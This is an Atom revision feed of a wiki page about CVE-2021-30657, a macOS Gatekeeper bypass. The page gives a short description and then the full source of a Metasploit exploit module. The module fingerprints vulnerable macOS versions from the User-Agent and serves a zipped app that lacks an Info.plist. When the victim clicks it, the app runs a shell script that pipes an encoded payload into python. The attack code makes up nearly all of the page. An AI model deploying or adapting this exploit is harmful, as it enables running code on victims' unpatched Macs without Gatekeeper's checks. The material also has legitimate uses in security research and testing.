<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-30657_macOS_Gatekeeper%E6%AA%A2%E6%9F%A5%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-30657 macOS Gatekeeper檢查繞過漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-30657_macOS_Gatekeeper%E6%AA%A2%E6%9F%A5%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-30657_macOS_Gatekeeper%E6%AA%A2%E6%9F%A5%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T02:59:22Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-30657_macOS_Gatekeeper%E6%AA%A2%E6%9F%A5%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=2735&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; This Metasploit module serves an OSX app (as a zip) that contains no Info.plist, which bypasses gatekeeper in macOS versions prior to 11.3. If the user visits t...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-30657_macOS_Gatekeeper%E6%AA%A2%E6%9F%A5%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=2735&amp;oldid=prev"/>
		<updated>2021-05-08T02:39:24Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; This Metasploit module serves an OSX app (as a zip) that contains no Info.plist, which bypasses gatekeeper in macOS versions prior to 11.3. If the user visits t...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
This Metasploit module serves an OSX app (as a zip) that contains no Info.plist, which bypasses gatekeeper in macOS versions prior to 11.3. If the user visits the site on Safari, the zip file is automatically extracted, and clicking on the downloaded file will automatically launch the payload. If the user visits the site in another browser, the user must click once to unzip the app, and click again in order to execute the payload.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = ManualRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::EXE&lt;br /&gt;
  include Msf::Exploit::Remote::HttpServer&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'macOS Gatekeeper check bypass',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          This module serves an OSX app (as a zip) that contains no Info.plist, which&lt;br /&gt;
          bypasses gatekeeper in macOS &amp;lt; 11.3.&lt;br /&gt;
          If the user visits the site on Safari, the zip file is automatically extracted,&lt;br /&gt;
          and clicking on the downloaded file will automatically launch the payload.&lt;br /&gt;
          If the user visits the site in another browser, the user must click once to unzip&lt;br /&gt;
          the app, and click again in order to execute the payload.&lt;br /&gt;
        },&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Targets' =&amp;gt; [&lt;br /&gt;
          [ 'macOS x64 (Native Payload)', { 'Arch' =&amp;gt; ARCH_X64, 'Platform' =&amp;gt; [ 'osx' ] } ],&lt;br /&gt;
          [ 'Python payload', { 'Arch' =&amp;gt; ARCH_PYTHON, 'Platform' =&amp;gt; [ 'python' ] } ],&lt;br /&gt;
          [ 'Command payload', { 'Arch' =&amp;gt; ARCH_CMD, 'Platform' =&amp;gt; [ 'unix' ] } ],&lt;br /&gt;
        ],&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 0,&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2021-03-25',&lt;br /&gt;
        'Author' =&amp;gt; [&lt;br /&gt;
          'Cedric Owens', # Discovery&lt;br /&gt;
          'timwr' # Module&lt;br /&gt;
        ],&lt;br /&gt;
        'Notes' =&amp;gt;&lt;br /&gt;
        {&lt;br /&gt;
          'Stability' =&amp;gt; [ CRASH_SAFE ],&lt;br /&gt;
          'Reliability' =&amp;gt; [ REPEATABLE_SESSION ],&lt;br /&gt;
          'SideEffects' =&amp;gt; [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]&lt;br /&gt;
        },&lt;br /&gt;
        'References' =&amp;gt; [&lt;br /&gt;
          ['CVE', '2021-30657'],&lt;br /&gt;
          ['URL', 'https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508'],&lt;br /&gt;
          ['URL', 'https://objective-see.com/blog/blog_0x64.html'],&lt;br /&gt;
        ]&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
    register_options([&lt;br /&gt;
      OptString.new('APP_NAME', [false, 'The application name (Default: app)', 'app'])&lt;br /&gt;
    ])&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check_useragent(user_agent)&lt;br /&gt;
    return false unless user_agent =~ /Intel Mac OS X (.*?)\)/&lt;br /&gt;
&lt;br /&gt;
    osx_version = Regexp.last_match(1).gsub('_', '.')&lt;br /&gt;
    mac_osx_version = Rex::Version.new(osx_version)&lt;br /&gt;
    if mac_osx_version &amp;gt;= Rex::Version.new('11.3')&lt;br /&gt;
      print_warning &amp;quot;macOS version #{mac_osx_version} is not vulnerable&amp;quot;&lt;br /&gt;
    elsif mac_osx_version &amp;lt; Rex::Version.new('10.15.6')&lt;br /&gt;
      print_warning &amp;quot;macOS version #{mac_osx_version} is not vulnerable&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      print_good &amp;quot;macOS version #{mac_osx_version} is vulnerable&amp;quot;&lt;br /&gt;
      return true&lt;br /&gt;
    end&lt;br /&gt;
    return false&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def on_request_uri(cli, request)&lt;br /&gt;
    user_agent = request['User-Agent']&lt;br /&gt;
    print_status(&amp;quot;Request #{request.uri} from #{user_agent}&amp;quot;)&lt;br /&gt;
    unless check_useragent(user_agent)&lt;br /&gt;
      print_error 'Unexpected User-Agent'&lt;br /&gt;
      send_not_found(cli)&lt;br /&gt;
      return&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    app_name = datastore['APP_NAME'] || Rex::Text.rand_text_alpha(5)&lt;br /&gt;
    send_response(cli, app_zip(app_name), { 'Content-Type' =&amp;gt; 'application/zip', 'Content-Disposition' =&amp;gt; &amp;quot;attachment; filename=\&amp;quot;#{app_name}.zip\&amp;quot;&amp;quot; })&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def app_zip(app_name)&lt;br /&gt;
    case target['Arch']&lt;br /&gt;
    when ARCH_X64&lt;br /&gt;
      payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload.encoded, {})&lt;br /&gt;
      command = &amp;quot;echo \&amp;quot;#{payload_data}\&amp;quot; | python &amp;amp; disown&amp;quot;&lt;br /&gt;
    when ARCH_PYTHON&lt;br /&gt;
      command = &amp;quot;echo \&amp;quot;#{payload.encoded}\&amp;quot; | python&amp;quot;&lt;br /&gt;
    when ARCH_CMD&lt;br /&gt;
      command = payload.encoded&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    shell_script = &amp;lt;&amp;lt;~SCRIPT&lt;br /&gt;
      #!/bin/sh&lt;br /&gt;
&lt;br /&gt;
      #{command}&lt;br /&gt;
    SCRIPT&lt;br /&gt;
&lt;br /&gt;
    zip = Rex::Zip::Archive.new&lt;br /&gt;
    zip.add_file(&amp;quot;#{app_name}.app/&amp;quot;, '')&lt;br /&gt;
    zip.add_file(&amp;quot;#{app_name}.app/Contents/&amp;quot;, '')&lt;br /&gt;
    zip.add_file(&amp;quot;#{app_name}.app/Contents/MacOS/&amp;quot;, '')&lt;br /&gt;
    zip.add_file(&amp;quot;#{app_name}.app/Contents/MacOS/#{app_name}&amp;quot;, shell_script).last.attrs = 0o777&lt;br /&gt;
    zip.pack&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>